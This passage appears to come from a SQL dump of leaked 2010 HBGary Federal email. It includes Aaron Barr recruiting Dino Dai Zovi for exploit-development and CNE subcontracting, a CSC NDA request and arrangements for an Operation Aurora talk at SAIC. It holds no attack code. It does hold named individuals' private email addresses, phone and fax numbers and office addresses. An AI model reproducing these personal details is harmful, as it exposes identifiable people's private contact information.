being.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Dino\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 9:54 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOk. &nbsp;Great.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe have some ongoing work to build CNE capabilities.\r\n&nbsp;The contract we have had for a while, although we do a variety of\r\ndifferent things within it. &nbsp;We have used some consultants in the past to\r\nhelp with surges in this work. &nbsp;If this type of work interests you I would\r\ndefinitely like to put an NDA in place and use you for this type of work on an\r\nas needed and as available basis.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you hold a clearance at all?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you familiar with DARPA\'s cyber genome project?\r\n&nbsp;There were 3 Technical areas and we sub\'d to 1 and primed another related\r\nto automated malware analysis. &nbsp;That is all development work and\r\nunclassified. &nbsp;If that work interests you we could probably use your help\r\nthere too.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you do or have you done Incident Response work? &nbsp;We\r\nget short term gigs like this all the time. &nbsp;I am not completely up on\r\nyour full background so not sure if this is an area of expertise or interest.\r\n&nbsp;HBGary Federal will be working hard over the next few months to solidify\r\nour IR offerings, using HBGary products as well as partner products.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nProbably others too but this is a good start off the top of\r\nmy head.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat types of things are you most interested in working on?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYes, this is my first week post-EGS. &nbsp;I am planning on\r\nstaying independent for a while and trying that out for a bit. &nbsp;I have a\r\ntraining course to prepare for BlackHat and some misc. other tasks, but may\r\nhave some time open for small projects. &nbsp;I would be interested in hearing\r\nabout what type of work you would have open to subcontracting.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Dino\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate: Tue, Apr 13, 2010 at 10:43 AM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Update\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: Dino Dai Zovi &lt;ddz@theta44.org&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLinkedIn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr has sent you a message.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate: 4/13/2010\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Update\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Dino,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt look like your not with EGS? What are you up to? Are you\r\ngoing to stay independent, and if so are you already booked up with work?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nView/reply to this message\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your\r\nmessage settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3353,'aaron_hbgary_com/3353.html'),(5663,'2010-04-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004096.M336922P14101Q518.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Update','yes. &nbsp;between our folks, Clearhat and Dino we have a pretty nice shop to develop \"things\".Sure anytime today. &nbsp;I am working on my Aurora briefing for tomorrow and the NSA presentation stuff so just parked my butt on the couch.AaronOn Apr 26, 2010, at 9:04 AM, Penny Leavy-Hoglund wrote:Good things come to those who askJ&nbsp; Sorry I missed you.&nbsp; Let’s catch up today&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Sunday, April 25, 2010 5:18 AMTo:&nbsp;Greg Hoglund; Penny LeavySubject:&nbsp;Fwd: Update&nbsp;FYIFrom my iPhoneBegin forwarded message:From:&nbsp;Dino A. Dai Zovi &lt;ddz@trailofbits.com&gt;Date:&nbsp;April 25, 2010 2:33:20 AM EDTTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Subject:&nbsp;Re: UpdateHi Aaron,Hah, nice one. &nbsp;I would be quite interested in the unclass exploit development work. &nbsp;How about we chat on the phone about this next week?Cheers,-DinoOn Apr 22, 2010, at 6:39 PM, Aaron Barr wrote:Hey Dino,&nbsp;Not trying to be pushy but talented folks are hard to come by. &nbsp;I asked Chris if he would have any issues if we used your services and he said he would have no issues. &nbsp;He said something about if we could get something worthwhile out of you we were welcome to it.&nbsp;Joke.&nbsp;I am sure you have plenty of work, but just to keep in mind. &nbsp;We have both classified and unclassified work. &nbsp;Our unclass work is mostly around incident response, VA/PT work, hopefully some DARPA work coming up next month around cyber genomes. &nbsp;We also have some exploit development work, some of it unclass, that I could really use some high talent on.&nbsp;Take care,&nbsp;Aaron&nbsp;&nbsp;&nbsp;&nbsp;On Apr 15, 2010, at 9:07 AM, Dino Dai Zovi wrote:&nbsp;Hello Aaron,&nbsp;I don\'t hold a clearance anymore (I last held a DOE L/Secret clearance in 2003, but that has long expired). &nbsp;I have done a couple of random IR gigs in the past, primarily involved in fully reverse engineering high-level malware into accurate C pseudocode and performing rapid post-intrusion vulnerability assessments (circa 2004-2005).&nbsp;On second thought, I am realizing that any work with HBGary might fall under various clauses in my employment contract w/ Endgames. &nbsp;I wouldn\'t want to open either of us up to any legal exposure, so I should probably refrain from any work with HBGary for the time being.&nbsp;Cheers,&nbsp;-Dino&nbsp;&nbsp;On Apr 13, 2010, at 9:54 PM, Aaron Barr wrote:&nbsp;Ok. &nbsp;Great.&nbsp;We have some ongoing work to build CNE capabilities. &nbsp;The contract we have had for a while, although we do a variety of different things within it. &nbsp;We have used some consultants in the past to help with surges in this work. &nbsp;If this type of work interests you I would definitely like to put an NDA in place and use you for this type of work on an as needed and as available basis.&nbsp;Do you hold a clearance at all?&nbsp;Are you familiar with DARPA\'s cyber genome project? &nbsp;There were 3 Technical areas and we sub\'d to 1 and primed another related to automated malware analysis. &nbsp;That is all development work and unclassified. &nbsp;If that work interests you we could probably use your help there too.&nbsp;Do you do or have you done Incident Response work? &nbsp;We get short term gigs like this all the time. &nbsp;I am not completely up on your full background so not sure if this is an area of expertise or interest. &nbsp;HBGary Federal will be working hard over the next few months to solidify our IR offerings, using HBGary products as well as partner products.&nbsp;Probably others too but this is a good start off the top of my head.&nbsp;What types of things are you most interested in working on?&nbsp;Aaron&nbsp;On Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:&nbsp;Hi Aaron,&nbsp;Yes, this is my first week post-EGS. &nbsp;I am planning on staying independent for a while and trying that out for a bit. &nbsp;I have a training course to prepare for BlackHat and some misc. other tasks, but may have some time open for small projects. &nbsp;I would be interested in hearing about what type of work you would have open to subcontracting.&nbsp;Cheers,&nbsp;-Dino&nbsp;On Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:&nbsp;&nbsp;&nbsp;---------- Forwarded message ----------From: Aaron Barr &lt;aaron@hbgary.com&gt;Date: Tue, Apr 13, 2010 at 10:43 AMSubject: UpdateTo: Dino Dai Zovi &lt;ddz@theta44.org&gt;&nbsp;&nbsp;LinkedInAaron Barr has sent you a message.Date: 4/13/2010Subject: UpdateHi Dino,&nbsp;It look like your not with EGS? What are you up to? Are you going to stay independent, and if so are you already booked up with work?&nbsp;AaronView/reply to this messageDon\'t want to receive e-mail notifications? Adjust your message settings.&nbsp;© 2010, LinkedIn Corporation&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4541,'aaron_hbgary_com/4541.html'),(5664,'2010-04-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004096.M595915P14101Q519.eml','\"Dino A. Dai Zovi\" <ddz@trailofbits.com>','Re: Update','Sure thing.  I can talk today.  Wednesday and Thursday are also pretty open.\r\n\r\nAaron\r\n\r\nOn Apr 25, 2010, at 2:33 AM, Dino A. Dai Zovi wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> Hah, nice one.  I would be quite interested in the unclass exploit development work.  How about we chat on the phone about this next week?\r\n> \r\n> Cheers,\r\n> \r\n> -Dino\r\n> \r\n> On Apr 22, 2010, at 6:39 PM, Aaron Barr wrote:\r\n> \r\n>> Hey Dino,\r\n>> \r\n>> Not trying to be pushy but talented folks are hard to come by.  I asked Chris if he would have any issues if we used your services and he said he would have no issues.  He said something about if we could get something worthwhile out of you we were welcome to it.\r\n>> \r\n>> Joke.\r\n>> \r\n>> I am sure you have plenty of work, but just to keep in mind.  We have both classified and unclassified work.  Our unclass work is mostly around incident response, VA/PT work, hopefully some DARPA work coming up next month around cyber genomes.  We also have some exploit development work, some of it unclass, that I could really use some high talent on.\r\n>> \r\n>> Take care,\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> On Apr 15, 2010, at 9:07 AM, Dino Dai Zovi wrote:\r\n>> \r\n>>> Hello Aaron,\r\n>>> \r\n>>> I don\'t hold a clearance anymore (I last held a DOE L/Secret clearance in 2003, but that has long expired).  I have done a couple of random IR gigs in the past, primarily involved in fully reverse engineering high-level malware into accurate C pseudocode and performing rapid post-intrusion vulnerability assessments (circa 2004-2005).\r\n>>> \r\n>>> On second thought, I am realizing that any work with HBGary might fall under various clauses in my employment contract w/ Endgames.  I wouldn\'t want to open either of us up to any legal exposure, so I should probably refrain from any work with HBGary for the time being.\r\n>>> \r\n>>> Cheers,\r\n>>> \r\n>>> -Dino\r\n>>> \r\n>>> \r\n>>> On Apr 13, 2010, at 9:54 PM, Aaron Barr wrote:\r\n>>> \r\n>>>> Ok.  Great.\r\n>>>> \r\n>>>> We have some ongoing work to build CNE capabilities.  The contract we have had for a while, although we do a variety of different things within it.  We have used some consultants in the past to help with surges in this work.  If this type of work interests you I would definitely like to put an NDA in place and use you for this type of work on an as needed and as available basis.\r\n>>>> \r\n>>>> Do you hold a clearance at all?\r\n>>>> \r\n>>>> Are you familiar with DARPA\'s cyber genome project?  There were 3 Technical areas and we sub\'d to 1 and primed another related to automated malware analysis.  That is all development work and unclassified.  If that work interests you we could probably use your help there too.\r\n>>>> \r\n>>>> Do you do or have you done Incident Response work?  We get short term gigs like this all the time.  I am not completely up on your full background so not sure if this is an area of expertise or interest.  HBGary Federal will be working hard over the next few months to solidify our IR offerings, using HBGary products as well as partner products.\r\n>>>> \r\n>>>> Probably others too but this is a good start off the top of my head.\r\n>>>> \r\n>>>> What types of things are you most interested in working on?\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> On Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:\r\n>>>> \r\n>>>>> Hi Aaron,\r\n>>>>> \r\n>>>>> Yes, this is my first week post-EGS.  I am planning on staying independent for a while and trying that out for a bit.  I have a training course to prepare for BlackHat and some misc. other tasks, but may have some time open for small projects.  I would be interested in hearing about what type of work you would have open to subcontracting.\r\n>>>>> \r\n>>>>> Cheers,\r\n>>>>> \r\n>>>>> -Dino\r\n>>>>> \r\n>>>>> On Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> ---------- Forwarded message ----------\r\n>>>>>> From: Aaron Barr \r\n>>>>>> Date: Tue, Apr 13, 2010 at 10:43 AM\r\n>>>>>> Subject: Update\r\n>>>>>> To: Dino Dai Zovi \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> LinkedIn\r\n>>>>>> Aaron Barr has sent you a message.\r\n>>>>>> Date: 4/13/2010\r\n>>>>>> Subject: Update\r\n>>>>>> Hi Dino,\r\n>>>>>> \r\n>>>>>> It look like your not with EGS? What are you up to? Are you going to stay independent, and if so are you already booked up with work?\r\n>>>>>> \r\n>>>>>> Aaron\r\n>>>>>> View/reply to this message\r\n>>>>>> Don\'t want to receive e-mail notifications? Adjust your message settings.\r\n>>>>>> \r\n>>>>>> © 2010, LinkedIn Corporation\r\n>>>>>> \r\n>>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2683,'aaron_hbgary_com/2683.html'),(5665,'2010-04-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004097.M296113P14101Q520.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: CTSC Non Disclosure Agreement','Can u fill this out and convert it to PDF for my signature.  For some  \r\nreason I can\'t open this one.\r\n\r\nAaron\r\n\r\n\r\nBegin forwarded message:\r\n\r\n> From: Edna Robinson \r\n> Date: April 20, 2010 3:13:10 PM EDT\r\n> To: aaron@hbgary.com\r\n> Cc: Paul Rooney , Phillip S Peak \r\n> Subject: CTSC Non Disclosure Agreement\r\n>\r\n>\r\n> Good Afternoon Mr. Aron,\r\n>\r\n> Please sign an return the attached Non Disclosure agreement at your  \r\n> earliest convenience so that it may be Fully Executed prior to your  \r\n> meeting\r\n> with Paul Rooney.\r\n>\r\n>\r\n>\r\n> Thanks\r\n>\r\n> Edna Robinson\r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n>\r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F:  \r\n> 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.comEdna Robinson\r\n> AXISS Subcontracts Administrator\r\n> CSC\r\n>\r\n> 7231 Parkway Drive.,Hanover, MD. 21076\r\n> Enforcement Security & Intel-Federal Sector|P:1-443.445-7044 F:  \r\n> 1-443-445-7135 |erobinson6@csc.com\r\n> www.csc.com\r\n>\r\n>\r\n>\r\n>\r\n> This is a PRIVATE message. If you are not the intended recipient,  \r\n> please delete without copying and kindly advise us by e-mail of the  \r\n> mistake in delivery.\r\n> NOTE: Regardless of content, this e-mail shall not operate to bind  \r\n> CSC to any order or other contract unless pursuant to explicit  \r\n> written agreement or government initiative expressly permitting the  \r\n> use of e-mail for such purpose.\r\n',12074,'aaron_hbgary_com/12074.html'),(5666,'2010-04-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004097.M569713P14101Q521.eml','\"Timothy W. Estell\" <TIMOTHY.W.ESTELL@saic.com>','Aurora Talk','Hey Tim,\r\n\r\nCan you send me the location of the talk for tomorrow?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16274,'aaron_hbgary_com/16274.html'),(5667,'2010-04-26','\"cybernexus\" <groups-noreply@linkedin.com>','/aaron@hbgary.com/new/1297004097.M852030P14101Q522.eml','\"Aaron Barr\" <aaron@hbgary.com>','Your request to join a LinkedIn Group has been accepted','\r\n\r\n  \r\n\r\n  \r\n    LinkedIn Groups\r\n  \r\n  \r\n    \r\n      \r\n        Group: cybernexus\r\n        Subject: Your request to join a LinkedIn Group has been accepted\r\n      \r\n			Hi Aaron,\r\n			\r\n			Congratulations! You have been approved to join the group cybernexus.\r\n    \r\n	    -- The LinkedIn Team\r\n	    http://www.linkedin.com/\r\n    \r\n  \r\n    \r\n      Go to the group\r\n    \r\n    \r\n    \r\n    LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &copy;2010, LinkedIn Corporation.    \r\n    \r\n\r\n\r\n\r\n',12597,'aaron_hbgary_com/12597.html'),(5668,'2010-04-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004098.M113625P14101Q523.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','Re: Aurora Talk at SAIC','NVM Scott. &nbsp;Was going through emails and saw the line stating it was in the cybernexus group. &nbsp;See you tomorrow.Thanks,AaronOn Apr 5, 2010, at 10:13 PM, Sheldon, Scott W. wrote:\r\nAaron,You should be able to join the cybernexus groups on those social networks if you use them. Scott\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Sheldon, Scott W.\r\nSent: Mon Apr 05 09:48:06 2010Subject: Re: Aurora Talk at SAIC\r\n\r\ngreat. &nbsp;where could I find those?Did you guys hear on NANA yet?AaronOn Apr 2, 2010, at 4:50 PM, Sheldon, Scott W. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,&nbsp;I’ve posted the invitations on\r\nFacebook and LinkedIn.&nbsp;Scott&nbsp;\r\n\r\n&nbsp;Scott W. Sheldon, PMP | SAICVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroupmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com &nbsp;Science\r\nApplications International Corporation6841\r\n  Benjamin Franklin DriveColumbia, MD\r\n 21046www.saic.com&nbsp;Energy&nbsp;\r\n|&nbsp; Environment&nbsp; |&nbsp; National Security &nbsp;|&nbsp; Health&nbsp; |&nbsp; Critical Infrastructure&nbsp;Please\r\nconsider the environment before printing this email.&nbsp;This e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 01, 2010\r\n10:21 PM\r\nTo: Sheldon,\r\n Scott W.\r\nCc: bob@hbgary.com; Estell, Timothy W.\r\nSubject: Re: Aurora Talk at SAIC\r\n\r\n&nbsp;Let me know if you need something else.\r\n\r\n&nbsp;\r\n\r\nBIO\r\n\r\n\r\n\r\nAaron Barr is the CEO of HBGary\r\nFederal, a services company focused on delivering specialized malware analysis,\r\nincident response, and information operations capabilities to the IC, DoD, and\r\nFederal agencies.&nbsp; Previously, Aaron served as the Director of Technology\r\nfor the Cybersecurity and SIGINT Business Unit within Northrop Grummans\r\nIntelligence Systems Division, and as the Chief Engineer for Northrop\r\nGrummans\'s Cyber Campaign. As Technical Director, he was responsible for\r\ndeveloping technical strategies and roadmaps for a $750 million organization as\r\nwell as managing approximately $20 million in Research and Development\r\nprojects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the\r\nUnited States Navy as an enlisted cryptologist, senior signals analyst,\r\nsoftware programmer, and system administrator. Mr. Barr served tours in Misawa, Japan,\r\nNorfolk Virginia,\r\nPensacola Florida,\r\nand Rota Spain.\r\nWhile serving in Norfolk Virginia, he was accepted into the Enlisted\r\nEducation Advancement Program (EEAP) where he finished a Bachelors of Science\r\nin Biology, minoring in Chemistry, later completing a Masters in Computer\r\nScience with an emphasis in Computer Security. He has been a panelist and given\r\nspeeches on cybersecurity and emerging technologies at numerous Intelligence\r\nCommunity and DoD conferences and symposiums.AbstractPrior to Operation Aurora most people\r\nhad never heard of the term APT, now you can\'t get away from it.&nbsp;\r\nOperation Aurora\r\nwhile maybe not a bell-weather event, certainly raised the consciousness of\r\ncybersecurity and the threats that do exist.&nbsp; But awareness is not always\r\na good thing, as many still have a very superficial and naive perspective on\r\nwhat the advanced persistent threat is, what it is not, and what needs to be\r\ndone to combat it.&nbsp; This discussion will discuss the attributes of the Aurora event and the state of cybersecurity\r\ntoday within the Federal government.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Mar 30, 2010, at 9:36 AM, Sheldon, Scott\r\n W. wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nAwesome! I\'ll lock it in.\r\n\r\nPlease send me an abstract and short bio so I can get the invitations\r\nout.\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 29, 2010 7:41 PM\r\nTo: Sheldon, Scott W.\r\nCc: bob@hbgary.com; Estell,\r\n Timothy W.\r\nSubject: Re: Aurora\r\nTalk at SAIC\r\n\r\nYep works for me.\r\n\r\nFrom my iPhone\r\n\r\nOn Mar 29, 2010, at 5:53 PM, \"Sheldon, Scott W.\"\r\n&lt;SCOTT.W.SHELDON@saic.com\r\n\r\nwrote:\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n27 April at 1600 works great.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nIf you agree, I\'ll need a short bio and a short presentation\r\n\r\n\r\n\r\nabstract to\r\n\r\n\r\n\r\npost with the invitation for attendees.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nScott\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-----Original 